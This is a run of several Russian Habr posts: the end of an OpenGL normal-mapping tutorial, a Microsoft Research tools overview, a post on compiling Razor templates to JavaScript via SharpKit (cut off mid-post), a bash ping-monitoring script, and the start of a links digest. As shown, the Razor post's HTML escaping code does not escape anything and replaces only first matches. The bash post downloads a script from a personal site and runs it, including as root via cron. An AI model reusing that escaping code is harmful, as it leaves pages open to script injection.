bitangent1.x = f * (-deltaUV2.x * edge1.x + deltaUV1.x * edge2.x);
bitangent1.y = f * (-deltaUV2.x * edge1.y + deltaUV1.x * edge2.y);
bitangent1.z = f * (-deltaUV2.x * edge1.z + deltaUV1.x * edge2.z);
bitangent1 = glm::normalize(bitangent1);
[...] // аналогичный код для расчета касательных второго треугольника плоскости
```
Сперва выносим дробный компонент итогового выражения в отдельную переменную *f*. Затем для каждого компонента векторов выполняем соответствующую часть матричного умножения и умножаем на *f*. Сравнив данный код с итоговой формулой расчета можно увидеть, что это буквальное её переложение. Не забудьте в конце провести нормализацию, дабы найденные вектора были единичными.
Поскольку треугольник плоская фигура, то расчет касательной и бикасательной достаточно провести один раз на треугольник – они будут одинаковые для всех вершин. Стоит отметить, что большая часть реализаций работы с моделями (типа загрузчиков или генераторов ландшафтов) используют такую организацию треугольников, где они делят вершины с другими треугольниками. В таких случаях разработчики, обычно, прибегают к усреднению параметров в общих вершинах, таких как вектора нормали, касательно и бикасательной, чтобы получить более сглаженный результат. Треугольники, составляющие нашу плоскость тоже делят несколько вершин, но поскольку они оба лежат в одной плоскости, то усреднение не потребуется. И все же полезно помнить о наличии такого подхода в реальных приложениях и задачах.
Получившиеся вектора касательной и бикасательной должны иметь значения (1, 0, 0) и (0, 1, 0) соответственно. Что вкупе с вектором нормали (0, 0, 1) формируют ортогональную матрицу TBN. Если визуализировать полученный базис вместе с плоскостью, то получится следующее изображение:
Теперь, имея рассчитанные вектора можно приступать к полноценной реализации normal mapping’а.
#### Normal mapping в касательном пространстве
Для начала необходимо сформировать матрицу TBN в шейдерах. Для этой цели мы передадим заранее подготовленные вектора касательной и бикасательной в вершинный шейдер через вершинные атрибуты:
```
#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;
layout (location = 2) in vec2 aTexCoords;
layout (location = 3) in vec3 aTangent;
layout (location = 4) in vec3 aBitangent;
```
В самом коде вершинного шейдера сформируем непосредственно матрицу:
```
void main()
{
[...]
vec3 T = normalize(vec3(model * vec4(aTangent, 0.0)));
vec3 B = normalize(vec3(model * vec4(aBitangent, 0.0)));
vec3 N = normalize(vec3(model * vec4(aNormal, 0.0)));
mat3 TBN = mat3(T, B, N)
}
```
В приведенном коде сперва преобразуем все вектора базиса касательного пространства в систему координат, в которой нам удобно работать – в данном случае это мировая система координат и мы умножаем вектора на модельную матрицу *model*. Далее мы создаем саму матрицу TBN просто передавая конструктору типа *mat3* все три соответствующих вектора. Обратите внимание на то, что для полной корректности порядка вычислений необходимо проводить умножение векторов не на модельную матрицу, а на матрицу нормалей, поскольку нас интересует лишь ориентация векторов, но не их смещение или масштабирование
> Строго говоря, передавать вектор бикасательной в шейдер вовсе не обязательно.
>
> Поскольку тройка векторов TBN взаимно перпендикулярна, то бикасательную можно банально найти в шейдере через векторное умножение:
>
>
>
>
> ```
> vec3 B = cross(N, T)
> ```
>
Итак, получена матрица TBN, как нам ее использовать? По сути есть два подхода к её применению в normal mapping’е:
1. Использовать матрицу TBN для преобразования всех необходимых векторов из касательного пространства в мировое. Передать результаты во фрагментный шейдер, где, также используя матрицу, преобразовать вектор из карты нормалей в мировое пространство. В итоге вектор нормали окажется в пространстве, где вычисляется все освещение.
2. Взять матрицу обратную к TBN и преобразовать все необходимые вектора из мирового пространства в касательное. Т.е. использовать эту матрицу для преобразования векторов, участвующих в расчетах освещения, в касательное пространство. Вектор нормали в этом случае также остается в том же пространстве, что и прочие участники расчета освещения.
Давайте рассмотрим первый вариант. Вектор нормали из соответствующей текстуры задан в касательном пространстве, в то время как остальные вектора, использующиеся в расчете освещения, заданы в мировом пространстве. Передав матрицу TBN во фрагментный шейдер мы могли бы преобразовать вектор нормали, полученный выборкой из текстуры, из касательного пространства в мировое, обеспечив единство систем координат для всех элементов расчета освещения. В этом случае все расчеты (особенно скалярные умножения векторов) будут корректны.
Передача матрицы TBN делается простейшим образом:
```
out VS_OUT {
vec3 FragPos;
vec2 TexCoords;
mat3 TBN;
} vs_out;
void main()
{
[...]
vs_out.TBN = mat3(T, B, N);
}
```
В коде фрагментного шейдера, соответственно, задаем входную переменную типа mat3:
```
in VS_OUT {
vec3 FragPos;
vec2 TexCoords;
mat3 TBN;
} fs_in;
```
Имея матрицу на руках можно уточнить код получения нормали выражением перевода из касательного в мировое пространство:
```
normal = texture(normalMap, fs_in.TexCoords).rgb;
normal = normalize(normal * 2.0 - 1.0);
normal = normalize(fs_in.TBN * normal);
```
Поскольку полученная нормаль теперь задана в мировом пространстве нет необходимости менять что-либо еще в коде шейдера. Расчеты освещения и так предполагают вектор нормали заданным в мировых координатах.
Давайте также рассмотрим и второй подход. Он потребует получения матрицы обратной TBN, а также переноса всех векторов, участвующих в расчете освещения, из мировой системы координат в ту, что соответствует векторам нормали, полученным из текстуры – касательную. В данном случае формирование матрицы TBN остается неизменным, но перед передачей во фрагментный шейдер мы должны получить обратную матрицу:
```
vs_out.TBN = transpose(mat3(T, B, N));
```
Обратите внимание на то, что применена функция *transpose()*вместо *inverse()*. Такая подстановка справедлива, поскольку для ортогональных матриц (где все оси представлены единичными взаимно перпендикулярными векторами) получение обратной матрицы дает результат идентичный транспонированию. И это весьма кстати, поскольку, в общем случае, вычисление обратной матрицы куда более вычислительно затратное дело по сравнению с транспонированием.
В коде фрагментного шейдера мы не будем преобразовывать вектор нормали, вместо этого преобразуем из мировой системы координат в касательную прочие важные вектора, а именно *lightDir* и *viewDir*. Это решение также приводит все элементы вычислений в единую систему координат, на этот раз – касательную.
```
void main()
{
vec3 normal = texture(normalMap, fs_in.TexCoords).rgb;
normal = normalize(normal * 2.0 - 1.0);
vec3 lightDir = fs_in.TBN * normalize(lightPos - fs_in.FragPos);
vec3 viewDir = fs_in.TBN * normalize(viewPos - fs_in.FragPos);
[...]
}
```
Второй подход кажется более трудоемким и требует больше матричных умножений во фрагментном шейдере (что сильно влияет на производительность). Почему мы вообще взялись его разбирать?
Дело в том, что перевод векторов из мировых координат в касательные предоставляет дополнительное преимущество: фактически мы можем вынести весь код преобразований из фрагментного в вершинный шейдер! Такой подход является рабочим поскольку *lightPos* и *viewPos* не изменяются от фрагмента к фрагменту, а значение *fs\_in.FragPos* мы также можем перевести в касательное пространство в вершинном шейдере, интерполированное значение на входе во фрагментный шейдер будет вполне корректным. Таким образом, для второго подхода нет никакой надобности переводить все эти вектора в касательное пространство в коде фрагментного шейдера, в то время как первый этого требует – ведь нормаль является уникальной для каждого фрагмента.
В итоге мы уходим от передачи матрицы обратной к TBN в фрагментный шейдер и вместо этого передаем ему вектора положения вершины, источника света и наблюдателя в касательном пространстве. Так мы избавимся от затратных матричных умножений во фрагментном шейдере, что будет значительной оптимизацией, ведь вершинный шейдер исполняется гораздо реже. Именно это преимущество и выдвигает второй подход в разряд предпочтительного в большинстве случаев использования.
```
out VS_OUT {
vec3 FragPos;
vec2 TexCoords;
vec3 TangentLightPos;
vec3 TangentViewPos;
vec3 TangentFragPos;
} vs_out;
uniform vec3 lightPos;
uniform vec3 viewPos;
[...]
void main()
{
[...]
mat3 TBN = transpose(mat3(T, B, N));
vs_out.TangentLightPos = TBN * lightPos;
vs_out.TangentViewPos = TBN * viewPos;
vs_out.TangentFragPos = TBN * vec3(model * vec4(aPos, 0.0));
```
Во фрагментном шейдере мы переходим на использование новых входных переменных в расчетах освещения в касательном пространстве. Поскольку нормали у нас по условию заданы в этом пространстве, то все расчеты остаются корректными.
Теперь, когда все расчеты normal mapping’а ведутся в касательном пространстве, мы можем изменять ориентацию тестовой поверхности в приложении как хотим и освещение останется корректным:
```
glm::mat4 model(1.0f);
model = glm::rotate(model, (float)glfwGetTime() * -10.0f, glm::normalize(glm::vec3(1.0, 0.0, 1.0)));
shader.setMat4("model", model);
RenderQuad();
```
Действительно, внешне все выглядит как надо:
Исходники лежат [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/5.advanced_lighting/4.normal_mapping/normal_mapping.cpp).
Сложные объекты
---------------
Итак, мы разобрались в том, как осуществить normal mapping в касательном пространстве и как для этого самостоятельно вычислить вектора касательной и бикасательной. К счастью, такой ручной расчет не то чтобы часто возникающая задача: по большей части этот код реализуется разработчиками где-то в недрах загрузчика моделей. В нашем случае, это верно для использующегося [загрузчика Assimp](https://habrahabr.ru/post/338436/).
Assimp предоставляет весьма полезный флаг опций при загрузке моделей: *aiProcess\_CalcTangentSpace*. При его передаче функции *ReadFile()*библиотека сама займется расчетом сглаженных касательных и бикасательных для каждой из загруженных вершин – процесс похожий на рассмотренный здесь.
```
const aiScene *scene = importer.ReadFile(
path, aiProcess_Triangulate | aiProcess_FlipUVs | aiProcess_CalcTangentSpace
);
```
После этого можно прямо получить доступ к рассчитанным касательным:
```
vector.x = mesh->mTangents[i].x;
vector.y = mesh->mTangents[i].y;
vector.z = mesh->mTangents[i].z;
vertex.Tangent = vector;
```
Также необходимо будет обновить код загрузки, чтобы он учитывал получение карт нормалей для текстурированных моделей. Формат Wavefront Object (.obj) экспортирует карты нормалей таким образом, что флаг Assimp *aiTextureType\_NORMAL* не обеспечивает корректной загрузки этих карт, в то время как с флагом *aiTextureType\_HEIGHT* все работает корректно. Поэтому лично я, обычно, загружаю карты нормалей следующим способом:
```
vector normalMaps = loadMaterialTextures(material, aiTextureType\_HEIGHT, "texture\_normal");
```
Безусловно, для других форматов описания модели и типов файлов этот подход может не подходить. Также отмечу, что выставление флага *aiProcess\_CalcTangentSpace* не всегда срабатывает. Нам известно, что вычисление касательных основывается на текстурных координатах, однако, зачастую авторы моделей применяют различные ухищрения к текстурным координатам, что ломает расчет касательных. Так, нередко применяется зеркальное отражение текстурных координат для симметрично оттекстурированных моделей. Если не учитывать факт зеркальности, то расчет касательных будет неверен. Assimp не делает такого учета. Знакомая нам модель нанокостюма вот не подходит для демонстрации, поскольку также использует зеркалирование.
Но с корректно оттекстурированной моделью, использующей карты нормалей и зеркального отражения, тестовое приложение дает весьма неплохой результат:
Как видно, применение normal mapping’а дает ощутимый прирост детальности и при этом дешев в плане затрат производительности.
Не стоит забывать, что применение normal mapping’а может позволить повысить производительность для конкретной сцены. Без его использования достижение детальности модели возможно только через увеличение плотности полигональной сетки, меша. Но данная техника позволяет добиться визуально того же уровня детализации для низкополигональных мешей. Ниже можно увидеть сравнение этих двух подходов:
Уровень детализации на высокополигональной модели и на низкополигональной с применением normal mapping’а практически неотличим. Так что эта техника – отличный метод заместить высокополигональные модели в сцене упрощенными практически без потери в визуальном качестве.
Последнее замечание
-------------------
Есть еще одна техническая деталь, касающаяся normal mapping’а, которая немного улучшает качество практически без дополнительных расходов.
В тех случаях, когда касательные рассчитываются для больших и сложных мешей, имеющих значительное количество вершин, принадлежащих нескольким треугольникам, касательные вектора, обычно, усредняются, чтобы получить гладкий и визуально приятный результат normal mapping’а. Однако, это создает проблему: после усреднения тройка векторов TBN может потерять взаимную перпендикулярность, что также значит потерю ортогональности для матрицы TBN. В общем случае результат normal mapping’а, полученный на основе неортогональной матрицы, лишь слегка некорректен, но все же мы можем улучшить его.
Для этого достаточно применить простой математический метод: [процесс Грамма-Шмидта](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81_%D0%93%D1%80%D0%B0%D0%BC%D0%B0_%E2%80%95_%D0%A8%D0%BC%D0%B8%D0%B4%D1%82%D0%B0) или ре-ортогонализация нашей тройки векторов TBN. В коде вершинного шейдера:
```
vec3 T = normalize(vec3(model * vec4(aTangent, 0.0)));
vec3 N = normalize(vec3(model * vec4(aNormal, 0.0)));
// ре-ортогонализация T относительно N
T = normalize(T - dot(T, N) * N);
// получаем перпендикулярный вектор B через векторное умножение T и N
vec3 B = cross(N, T);
mat3 TBN = mat3(T, B, N)
```
Эта, пусть и небольшая, поправка улучшает качество normal mapping’а в обмен на мизерные накладные расходы. Если вам интересны детали этой процедуры, то можете посмотреть последнюю часть видеоролика Normal Mapping Mathematics, ссылка на который дана ниже.
Дополнительные ресурсы
----------------------
* [Tutorial 26: Normal Mapping](http://ogldev.atspace.co.uk/www/tutorial26/tutorial26.html): Урок по Normal Mapping от **ogldev**.
* [How Normal Mapping Works](https://www.youtube.com/watch?v=LIOPYmknj5Q): видеоурок, разъясняющий основы Normal Mapping от **TheBennyBox**.
* [Normal Mapping Mathematics](https://www.youtube.com/watch?v=4FaWLgsctqY): ролик, связанный с предыдущим, объясняющий математику, применяемую в методе Normal Mapping, также от **TheBennyBox**.
* [Tutorial 13: Normal Mapping](http://www.opengl-tutorial.org/intermediate-tutorials/tutorial-13-normal-mapping/): еще один урок от **opengl-tutorial.org**.
**P.S.**: У нас есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/415579/ | null | ru | null |
# Обзор интересных программ от Microsoft Research
[Microsoft Research](http://research.microsoft.com/) (MSR) — подразделение корпорации Microsoft, созданное в 1991 году для исследования различных вопросов и тем в области информатики. Microsoft Research объединяет 800 исследователей в шести глобальных лабораториях по всему миру.
Главное отличие от остальных подразделений в том, что здесь нет дедлайнов, жестких ТЗ и всего прочего, зато есть научные исследования, безумные идеи и куча времени для их реализаций.
Мне очень нравится следить на развитием MSR и сейчас хочу рассказать о некоторых программах, которые я часто использую.
#### Microsoft Research AutoCollage 2008
Программа, которая позволяет делать классные коллажи из Ваших фотографий. Все, что нужно — это выбрать папку с фото, количество фотографий, которые будут обрабатываться и размер выходного файла. Все остальное сделает программа.
Принцип работы состоит в том, что она анализирует цветовые характеристики изображений и находит оптимальный вариант их наложения, при этом накладывая переходы и градиенты. Хочу заметить, что каждый раз программа выдает разные результаты, поэтому поэкспериментировав, можно получить отличный фотоальбом с коллажами ([на хабре](http://habrahabr.ru/blogs/microsoft/39101/)).
Сайт: [research.microsoft.com/en-us/um/cambridge/projects/autocollage](http://research.microsoft.com/en-us/um/cambridge/projects/autocollage/)
#### WorldWide Telescope
Программа WorldWide Telescope позволяет любителям астрономии исследовать звездное небо, получать информацию о Солнечной системе, галактиках, туманностях и других космических объектах.
Новая служба объединяет терабайты графических и сопутствующих данных, собранных крупнейшими наземными обсерваториями и космическими телескопами, в том числе орбитальной рентгеновской обсерваторией «Чандра», телескопами «Хаббл» и «Спитцер». Пользователи могут просматривать изображения, полученные на различных длинах волн (в видимом, ультрафиолетовом, инфракрасном, рентгеновском диапазонах), приближать участки снимков, отслеживать положение космических объектов в разное время и пр.
Онлайновый телескоп Microsoft также позволяет создавать собственные веб-экскурсии по космическому пространству и приглашать на них родственников, знакомых или коллег по работе. Кроме того, пользователи сервиса смогут посещать экскурсионные туры с подробными комментариями, разработанные специалистами.
Скриншот программы:
Сайт: [www.worldwidetelescope.org/Home.aspx](http://www.worldwidetelescope.org/Home.aspx)
#### Pex
Pex (публикация [на хабре](http://habrahabr.ru/blogs/net/80101/), [в блоге](http://msug.vn.ua/blogs/akrakovetsky/archive/2009/03/11/pex-quot-whitebox-quot-net.aspx)) — инструмент (Add-In для Visual Studio) для тестирования кода от Microsoft Research.
Pex анализирует программный код и автоматически генерирует необходимое количество юнит-тестов. Результатом является привычный Visual Studio unit test проект с высоким процентом покрытия кода (теоретически 100%).
Pex выполняет систематичный анализ, проверят на граничные условия, а также исключения, которые можно отлаживать. Pex дает возможность выполнять Parameterized Unit Testing, что, несомненно, снижает затраты на тестирование.
Сайт: [research.microsoft.com/en-us/downloads/d2279651-851f-4d7a-bf05-16fd7eb26559](http://research.microsoft.com/en-us/downloads/d2279651-851f-4d7a-bf05-16fd7eb26559/)
#### Особо удачные проекты...
… уже внедрены или будут внедрены в ближайшем будущем в официальные продукты Microsoft.
В первую очередь, это F# — функциональный язык от Microsoft, который включен в VS2010 по умолчанию.
Сайт: [research.microsoft.com/en-us/um/cambridge/projects/fsharp](http://research.microsoft.com/en-us/um/cambridge/projects/fsharp/)
Также нельзя не сказать о замечательной разработке [Code Contracts](http://research.microsoft.com/en-us/projects/contracts/), которая позволяет писать код на основе т.н. контрактов, неких «правил» и «соглашений» разных участков кода между собой. Code Contracts будут включены в .NET 4.0.
Пример:
`public TargetResult LaunchMissle(Target target)
{
// заключаем контракт о том, что target не равен null
Contract.Requires(target != null);
return new TargetResult();
}`
Различие между простой проверкой и контрактом в том, что в последнем случае код не скомпилируется, если обнаружится, что какой то метод «нарушает» контракт.
Сайт: [research.microsoft.com/en-us/projects/contracts](http://research.microsoft.com/en-us/projects/contracts/)
#### Еще проектов!
Предлагаю обратить внимание еще на такие проекты:* [Social Web Experience](http://research.microsoft.com/en-us/downloads/c7311cc8-fb79-42a5-ae3b-fc797928594c/) — плагин, который анализирует содержимое текущей веб-страницы и сопоставляет ее содержимое с вашей активностью в социальных сетях.
* [Dminor](http://research.microsoft.com/en-us/downloads/cd60cdb0-353f-48b3-81d7-177621eba1bf/) — язык для моделирования данных.
* [Microsoft Site Analyzer](http://research.microsoft.com/en-us/downloads/58e8953e-3626-4994-bf95-19039e978223/) может помочь построить карту сайта, структурировать данные и многое другое.
* [HD View](http://research.microsoft.com/en-us/downloads/63888522-375b-49b5-a8a0-5cb308deb5c5/) позволяет просматривать огромные изображения в вебе
* [DryadLINQ](http://research.microsoft.com/en-us/projects/DryadLINQ/) — это мощная среда разработки, позволяющая обычным программистам применять свои навыки для создания приложений для параллельных вычислениях в крупномасштабных кластерах ПК.
[Здесь](http://research.microsoft.com/apps/dp/dl/downloads.aspx#p=1&ps=36&so=0&sb=d&fr=&to=&fd=&td=&rt=&f=&a=&pn=&pa=&pd=) можно найти и скачать еще много интересных проектов.
А какие проекты Microsoft Research используете вы? | https://habr.com/ru/post/83177/ | null | ru | null |
# Шаблонизация в JavaScript с использованием Razor
В силу всё большего и большего усложнения веб-приложений на стороне клиента, хочется иметь шаблонизаторы, которые работали бы прямо на клиенте. И таких средств, надо сказать, появилось не мало. Но так как ~~я легких путей не ищу~~ все они мне не нравятся, я решил сделать свой с блэкджеком и дамами лёгкого поведения (я так понял, на Хабре жестко карают и банят, если этой фразы нет в посте).
И вот я решил создать строготипизированный шаблонизатор на Razor.
#### Razor
Для тех, кто пропустил, Razor — это такой элегантный язык для генерации разметки, в который встраивается C# или VB. Он используется в ASP.NET MVC и WebMatrix.
Все его замечательные свойства расписывать не буду, так как за меня это уже [сделал](http://weblogs.asp.net/scottgu/archive/2010/07/02/introducing-razor.aspx) Scott Guthrie, а на Хабре даже [перевели](http://habrahabr.ru/post/98241/).
Важно то, что он **строготипизированный**, и имеет отличную поддержку в Visual Studio, включая **IntelliSense**.
Более того, т.к. я веб-проекты разрабатываю на .Net с использованием ASP.NET MVC, а представления описываю как раз на Razor'е, то для меня это идеальный вариант. Тем более, при должном старании, можно избавиться от повторного написания кода — использовать одни и те же шаблоны на сервере и на клиенте.
Использовать Razor вне MVC [не является большой проблемой](http://habrahabr.ru/post/111837/), но вот код, который он генерирует — C#, а нам нужен JavaScript. И вот тут мне на помощь пришел…
#### SharpKit
Этот замечательный инструмент, почему-то [обойден вниманием Хабра](http://habrahabr.ru/search/?target_type=posts&order_by=relevance&q=sharpkit). Он позволяет конвертировать код на языке C# в JavaScript.
Например из такого
```
using SharpKit.JavaScript;
using SharpKit.jQuery;
namespace Namespace
{
[JsType(JsMode.Global)]
public class MyPageClient : jQueryContext
{
public static void Hello(string name)
{
J(document.body).append(J("").text("Hello, " + name.ToUpper()));
}
}
}
```
превратится в
```
function Hello(name)
{
$(document.body).append($("").text("Hello, " + name.toUpperCase()));
};
```
На [официальном сайте](http://sharpkit.net) проекта есть сносная документация. А также можно поиграться [конвертированием online](http://sharpkit.net/Live.aspx).
SharpKit платный, но, совершенно точно, стоит своих денег. Для open-source проектов можно получить бесплатную лицензию. А для коммерческих, можно бесплатно конвертировать до 2500 строк JavaScript кода, что иногда вполне может хватить.
К слову сказать, хоть и хорошо разбираюсь в JavaScript, уже давно использую SharpKit, и вам советую. Все таки гораздо удобнее писать с типами, нормальным intellisense, и проверкой ошибок на этапе компиляции.
Что-то я отвлекся, но, как вы поняли, именно с помощью SharpKit шаблончики на Razor, сначала превращенные в C#, превращаются в JavaScript.
#### MSBuild
Ну а для того, чтобы это все выполнялось во время сборки проекта, интегрировать все это дело решил через MSBuild, для чего реализовал задачу.
И вот, представляю проект
#### SharpKit Razor
Да, никакого оригинального названия не придумал.
[Официальный сайт проекта на CodePlex](https://sharpkitrazor.codeplex.com/)
Эх, с трудом мне далось описание на английском, но [гугл меня так и не понимает](http://translate.google.ru/translate?hl=ru&sl=en&tl=ru&u=http%3A%2F%2Fsharpkitrazor.codeplex.com%2F).
Там пока только исходники, демка.
#### А теперь по-подробнее — с кодами, да побольше
Ну да, это же хабр, придется совсем все кишки распотрошить. Читать только тем, кто еще не все понял как все реализовано.
##### База для Razor
Когда движок Razor обрабатывает код, он из чего-то такого
```
@inherit MyBase
@foreach (var item in Model)
{
* @item
}
```
на выходе генерирует класс что-то типа такого:
```
namespace MyNamespace
{
public class MyView: MyBase
{
public override void Execute()
{
WriteLiteral("\r\n");
foreach (var item in Model)
{
WriteLiteral("\t* ");
Write(item);
WriteLiteral("
\r\n");
}
WriteLiteral("
");
}
}
}
```
Поэтому делаем базовый класс такой, чтобы он мог исполняться (метод Execute), и писать в выходной поток данные (экранированные — метод Write, неэкранированные — метод WriteLiteral).
Далее, чтобы было удобно оперировать нашими классами представлений в общем виде, выделим также интерфейс IRenderingArea.
Получается у нас вот такое:
```
public interface IRenderingArea
{
[JsProperty(NativeField = false)]
object Model { get; set; }
[JsProperty(NativeField = false)]
string Result { get; }
void Execute();
}
public interface IRenderingArea: IRenderingArea
{
[JsProperty(NativeField = false)]
new T Model { get; set; }
}
```
Здесь интерфейсы сразу с типизированным и нетипизированным вариантом. С помощью JsProperty помечено, чтобы SharpKit превращал Result не в поле, а в функцию get\_Result(). Так будет больше пространства для хитрых маневров.
Ну а сам базовый класс, будет таким:
```
[JsType(JsMode.Prototype)]
public abstract class HtmlArea: JsContext, IRenderingArea
{
private string \_result = "";
public string Result { get { return \_result; } }
[JsField(Export = false)]
private T \_model;
public T Model { get { return \_model; } set { \_model = value; } }
[JsProperty(Export = false)]
object IRenderingArea.Model { get { return Model; } set { Model = value.As(); } }
protected virtual void Write(object value)
{
if (value != null)
\_result += EscapeValue(value.As().toString());
}
protected virtual string EscapeValue(JsString value)
{
return value
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
protected virtual void WriteLiteral(string value)
{
\_result += value;
}
public abstract void Execute();
}
```
Как можно видеть, здесь класс адаптирован для того, чтобы он использовался в JavaScript.
Экранирование выполняется тупой заменой нескольких спецсимволов.
Чисто для справки, привожу получившийся JavaScript:
```
/*Generated by SharpKit v4.24.9000*/
if(typeof(XWeb) == "undefined")
XWeb = {};
if(typeof(XWeb.SharpKit) == "undefined")
XWeb.SharpKit = {};
if(typeof(XWeb.SharpKit.Razor) == "undefined")
XWeb.SharpKit.Razor = {};
XWeb.SharpKit.Razor.AreaExtensions = function()
{
};
XWeb.SharpKit.Razor.AreaExtensions.Execute = function(view,model)
{
var area=view();
if(typeof(model) != "undefined")
area.set_Model(model);
area.Execute();
return area.get_Result();
};
XWeb.SharpKit.Razor.HtmlArea = function()
{
this._result = "";
};
XWeb.SharpKit.Razor.HtmlArea.prototype.get_Result = function()
{
return this._result;
};
XWeb.SharpKit.Razor.HtmlArea.prototype.get_Model = function()
{
return this._model;
};
XWeb.SharpKit.Razor.HtmlArea.prototype.set_Model = function(value)
{
this._model = value;
};
XWeb.SharpKit.Razor.HtmlArea.prototype.Write = function(value)
{
if(value != null)
this._result += this.EscapeValue(value.toString());
};
XWeb.SharpKit.Razor.HtmlArea.prototype.EscapeValue = function(value)
{
return value.replace("&","&").replace("<","<").replace(">",">").replace("\"",""").replace("'","'");
};
XWeb.SharpKit.Razor.HtmlArea.prototype.WriteLiteral = function(value)
{
this._result += value;
};
```
Теперь, чтобы полученные классы представлений можно было бы запускать, и получать из них результат, необходим какой-то механизм.
Для начала, нужно определиться, какая информация нам нужна, чтобы запустить шаблон. Ссылаться на шаблоны по имени — можно, но как-то не кошерно в нашем строготипизированном мире C#. Поэтому, я решил, что мне просто нужна информация о том как создать экземпляр шаблона. Т.е. функция создания шаблона и будет информацией о шаблоне. И тогда, для того, чтобы запустить шаблон, добавляем специальное расширение:
```
[JsType(JsMode.Prototype)]
public static class AreaExtensions
{
[JsMethod(OmitOptionalParameters = true)]
public static string Execute(this Func> view, T model = default(T))
{
var area = view();
if (JsContext.JsTypeOf(model) != JsTypes.undefined)
area.Model = model;
area.Execute();
return area.Result;
}
}
```
Это расширение просто создает экземпляр шаблона, устанавливает модель, запускает и извлекает результат.
##### Генерация классов
Далее в игру вступает движок Razor, который должен сгенерировать класс шаблона.
Тут все достаточно просто:
Ой-ёй! Хабр больше не разрешает писать. Так что ждите продолжения. | https://habr.com/ru/post/142475/ | null | ru | null |
# Небольшой скрипт на bash для пингования хостов
Как одновременно держать руку на пульсе у нескольких серверов и управляемых свичей? Я решил автоматизировать этот процесс. Вот что вышло.
Сам скрипт
==========
> `1. #!/bin/bash
> 2. #Версия 0.2pre alfa
> 3. #Скрипт поддерживает четыре ключа: 1) -s режим тишины, 2) -d с результатом
> 4. #показывать текущую дату, 3) -n нормальный режим, 4) -с режим для conky
> 5. opt=$1
> 6. if [[ "$opt" = "" ]]
> 7. then
> 8. opt='-n'
> 9. else
> 10. #Немного индийского кода:)
> 11. echo $opt > /dev/null
> 12. fi
> 13. case $opt in
> 14. -n)
> 15. flag=0
> 16. ;;
> 17. -d)
> 18. flag=1
> 19. ;;
> 20. -s)
> 21. flag=2
> 22. ;;
> 23. -c)
> 24. flag=3
> 25. ;;
> 26. \*)
> 27. echo "Введен неправильный ключ..."
> 28. exit 0
> 29. esac
> 30. #Этот кейс можно было бы и опустить, но фильтровать входные данные (извините за тавтологию) на входе это есть хорошо
> 31. i=0
> 32. j=0
> 33. for ip in '77.88.21.8' '217.69.128.42' '216.239.59.104' #'74.125.67.10' #Здесь
> 34. #указываем IP пингуемых хостов
> 35. do
> 36. for rez in $(ping -c 1 $ip | grep % | cut -d ' ' -f6)
> 37. do
> 38. echo $rez > /dev/null
> 39. done
> 40. let "j = j + 1"
> 41. if [[ "$rez" = "0%" ]]
> 42. then
> 43. let "i = i + 1"
> 44. else
> 45. #Ещё чуток индийского кода:)
> 46. let "i = i + 0"
> 47. fi
> 48. done
> 49. case $flag in
> 50. 0)
> 51. if [[ "$i" = "$j" ]]
> 52. then
> 53. echo "Всё пингуется нормально..."
> 54. else
> 55. echo "Что-то пошло не так..."
> 56. fi
> 57. ;;
> 58. 1)
> 59. if [[ "$i" = "$j" ]]
> 60. then
> 61. echo "$(date) Всё пингуется нормально..."
> 62. else
> 63. echo "$(date) Что-то пошло не так..."
> 64. fi
> 65. ;;
> 66. 2)
> 67. if [[ "$i" = "$j" ]]
> 68. then
> 69. #И индийский код напоследок:)
> 70. echo "Всё пингуется нормально..." > /dev/null
> 71. else
> 72. echo "Что-то пошло не так..." > /dev/null
> 73. fi
> 74. ;;
> 75. 3)
> 76. if [[ "$i" = "$j" ]]
> 77. then
> 78. echo "Ok"
> 79. else
> 80. echo "Alarm"
> 81. fi
> 82. ;;
> 83. \*)
> 84. echo "Критическая ошибка..."
> 85. exit 0
> 86. esac
> \* This source code was highlighted with Source Code Highlighter.`
[Линк на сабж](http://troll-lox.narod.ru/pinger.sh)
Кусок /etc/crontab
==================
> `1. \*/10 \* \* \* \* root /путь/до/скрипта/./pinger.sh -d >> /путь/до/логов/pinger.log
> \* This source code was highlighted with Source Code Highlighter.`
Так выглядит лог
Кусок .conkyrc
==============
> `1. ${color lightgrey}Last pinger msg: ${color red} ${execi 2 ~/work/pinger.sh -c}
> \* This source code was highlighted with Source Code Highlighter.`
А так выглядит conky
Подробности для тех, кто в танке
================================
Прежде всего установим conky, в Debian based дистрибутивах (Ubuntu и т.д.) делается это так:
$ sudo apt-get install conky
Теперь нужен конфиг для conky, предлагаю скачать мой
$ wget -P ~ troll-lox.narod.ru/conkyrc.troll
Переименуем свежескачанный файлик
$ mv ~/conkyrc.troll ~/.conkyrc
Теперь качаем сабжевый скрипт
$ wget -P ~ troll-lox.narod.ru/pinger.sh
Редактируем 32-ую строку по своему вкусу
$ nano ~/pinger.sh
Даём скрипту права на исполнение
$ sudo chmod +x ~/pinger.sh
И запускаем conky
$ conky&
Всё, должно получиться как на скриншоте.
P.S. Версия для товарищей в белых перчатках
===========================================
> `1. #!/bin/bash
> 2. opt=$1
> 3. i=0
> 4. j=0
> 5. for ip in '192.168.0.1' '192.168.0.2' 'habrahabr.ru' #'74.125.67.10'
> 6. do
> 7. for rez in $(ping -c 1 $ip | grep % | cut -d ' ' -f6)
> 8. do
> 9. echo $rez > /dev/null
> 10. done
> 11. let "j = j + 1"
> 12. if [[ "$rez" = "0%" ]]; then
> 13. let "i = i + 1"
> 14. fi
> 15. done
> 16. if [[ "$opt" = "-c" ]]
> 17. then
> 18. if [[ "$i" = "$j" ]]
> 19. then
> 20. echo "Ok"
> 21. else
> 22. echo "Alarm"
> 23. fi
> 24. else
> 25. if [[ "$i" = "$j" ]]
> 26. then
> 27. echo "$(date) Всё пингуется нормально..."
> 28. else
> 29. echo "$(date) Что-то пошло не так..."
> 30. fi
> 31. fi
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/75590/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #13
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [Colour Schemes](https://github.com/daylerees/colour-schemes)
